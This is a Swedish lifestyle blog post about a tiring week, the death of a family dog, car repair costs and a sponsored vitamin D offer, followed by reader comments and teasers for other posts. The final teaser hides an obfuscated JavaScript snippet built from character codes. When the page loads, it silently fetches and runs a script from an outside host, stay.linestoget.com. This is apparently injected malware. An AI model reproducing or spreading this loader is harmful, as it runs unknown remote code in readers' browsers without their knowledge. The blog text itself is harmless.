D-vitamin, söndags promenad… Framme i Täby.

R E K L A M

 

475A0388

Söndag och förmiddagen bjöd på sol!

Jag tog en PW medan killarna var kvar hemma. Jag är så sjukt glad och TACKSAM över Ludvig och Jonas fina relation….

 Jösses vad jag behöver energi. Frisk luft oh sol gör gott! Inatt har jag sovit bättre än på hela veckan. Välbehövligt!

Just nu förökar jag att hålla fokus på sömn och vila ett tag. Jonas tog upp med mig att det var längesen jag var på event, mingel och liknande.. Saken är den att jag nästan skäms att säga det.. men inboxen är full av roliga grejer och event.. men jag orkar inte.

Denna veckan med Tezz har såklart varit extrem, och på ett annat sätt. men jag behöver verkligen få in rutinerna på plugg, pendling, Ludvigs skola, osv. Så jag har verkligen inte haft varken, kraft, ork eller lust med något annat. All tid som är möjlig att jonas & Lilleman ska få träffas, prioriteras. Igår var hela gänget iväg på en Kryssning med Star FM, Åza, Kin, Terece, Marie, Anki, Tanja och många fler.. Men nä.. Jag passade på den också! 

Tröttheten komma och går, under hösten så upplever många vad man i folkmun kallar ”höst depression”. Det är SÅ vanligt att man lider av D-vitamin brist. (Det får man kolla upp hos doktorn om man vill säkerställa det.. ) Bland mina egna PT kunder som jag haft så var det det absolut vanligaste, i ALLA åldrar.

Jag har inte börjat äta D-vitamin än. Men känner att det är dags. Generellt sett så börjar man ofta ”för sent” när trötthet, och depressionen redan slagit till…

Just nu så har SKIP Nutrition en kampanj med just D-vitamin,  ( svensktillverkade ) Beställer du nu så får du dom för 75:- istället för 149:- Passa på säger smålänningen 😉

Du kan beställa dom HÄR 

OLYMPUS DIGITAL CAMERA

Ludvig kom upp till mig och Jonas i Täby, innan förra helgen.  Vi stannade då över helgen och åkte ner på måndagen.

En turbulent veckan, fylld av minne, glädje och sorg. Tezz avlivades, och allt käns lite som ett vakum.

En satans otur med bilen, samma dag Tezz avlivades så larmade den för bromsarna…. Det är en slitage vara så det är bara att ”gilla” läget. Samma kväll som jag körde Tezz till veterinären… påvägen in så smällde det till i framrutan och jag fick en stenskott så blev en sprick på nästan 20 cm. SUCK!

Även om det självklart inte går att jämföra ekonomiska utgifter med sorg, så irriterar dom extremt. Så denna veckan med olika självrisker samt försäkring för avlivning och kremering av våran lilla Tezz så bli det extra utgifter på nästan 15 tusen… SUCK! Men det är banne mig alltid så… en olycka kommer sällan ensam.

En gammal bild från Sigtuna

FullSizeRender 45

Igårkväll pustade vi ut. Lilleman ville åka till Jonas efter skolan i fredags, men jag orkade inte det. Istället tog vi det lugnt i fredags, sov ut igår och bilade upp igår. Men både jag och Jonas tyckte att det kändes som en evighet sedan.. När vi insåg att det bara var 4.5 dagars som vi inte sågs alls på. Konstigt hur man kan uppfatta saker. Dels för att man saknar, men koks för att det hände extremt mycket förra veckan..  Idag står inte mycket på schemat. Ludvig ska åka utomlands med sin pappas familj. Dom flyger ifrån Arlanda på Tisdag morgon så jag behåller honom tills då =)

Vi hörs senare fina du!

Kram / My Martens 

8 Komentarer

  1. Tack för tipset om D-vitamin. Har beställt en burk och hoppas att det hjälper (självklart tillsammans med träning och hyfsad bra kost) mot mitt låga humör som alltid kommer den här årstiden.

  2. Tack för tipset om D-vitamin. Har beställt en burk och hoppas att det hjälper (självklart tillsammans med träning och hyfsad bra kost) mot mitt låga humör som alltid kommer den här årstiden.

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/